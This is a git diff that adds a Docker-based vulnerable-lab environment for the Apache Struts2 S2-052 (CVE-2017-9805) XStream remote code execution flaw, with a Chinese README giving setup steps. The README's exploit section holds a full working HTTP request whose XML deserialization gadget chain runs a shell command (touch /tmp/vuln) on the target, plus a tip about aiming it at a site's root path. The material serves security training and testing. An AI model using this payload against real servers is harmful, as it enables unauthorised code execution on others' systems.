diff --git a/s/struts2/README.md b/s/struts2/README.md
index 0d9b0ff..93cc744 100644
--- a/s/struts2/README.md
+++ b/s/struts2/README.md
@@ -15,3 +15,4 @@
  * [S2-045](./s2-045/)
  * [S2-046](./s2-046/)
  * [S2-048](./s2-048/)
+ * [S2-052](./s2-052/)
diff --git a/s/struts2/s2-052/Dockerfile b/s/struts2/s2-052/Dockerfile
new file mode 100644
index 0000000..4a7cc89
--- /dev/null
+++ b/s/struts2/s2-052/Dockerfile
@@ -0,0 +1,10 @@
+# S2-052 Vul Demo
+FROM medicean/vulapps:s_struts2_s2-037
+MAINTAINER Medici.Yan@Gmail.com
+
+EXPOSE 8080
+
+CMD ["/usr/local/tomcat/bin/catalina.sh", "run"]
+
+# 1. docker build .
+# 2. docker run -d -p 80:8080 xxxxxx
diff --git a/s/struts2/s2-052/README.md b/s/struts2/s2-052/README.md
new file mode 100644
index 0000000..d79860a
--- /dev/null
+++ b/s/struts2/s2-052/README.md
@@ -0,0 +1,60 @@
+## Struts2 XStreamHandler 远程代码执行漏洞(S2-052､ CVE-2017-9805)环境
+
+### 漏洞信息
+
+ * [S2-052 公告](https://cwiki.apache.org/confluence/display/WW/S2-052)
+
+### 获取环境:
+
+1. 拉取镜像到本地
+
+ ```
+$ docker pull medicean/vulapps:s_struts2_s2-052
+ ```
+
+2. 启动环境
+
+ ```
+$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052
+ ```
+ > `-p 80:8080` 前面的 80 代表物理机的端口，可随意指定。 
+
+### 使用与利用
+
+访问 `http://你的 IP 地址:端口号/`
+
+#### Exp
+
+执行 `/usr/bin/touch /tmp/vuln` 命令：
+
+```
+POST /orders;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1
+Host: 127.0.0.1:8080
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
+Content-Type: application/xml
+Content-Length: 1659
+Referer: http://127.0.0.1:8080/orders/3/edit
+Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7
+Connection: close
+Upgrade-Insecure-Requests: 1
+
+
+<map> 
+<entry> 
+<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
+</entry> 
+</map>
+```
+
+发送之后，会在目标主机创建 /tmp/vuln 文件
+
+**注意**
+
+`POST /orders` 这个链接在本例中是这样请求的，在实际测试过程中可以直接对站点根目录请求 `POST /`
+
+### 参考链接
+
+* [Using QL to find a remote code execution vulnerability in Apache Struts (CVE-2017-9805)](https://lgtm.com/blog/apache_struts_CVE-2017-9805)
+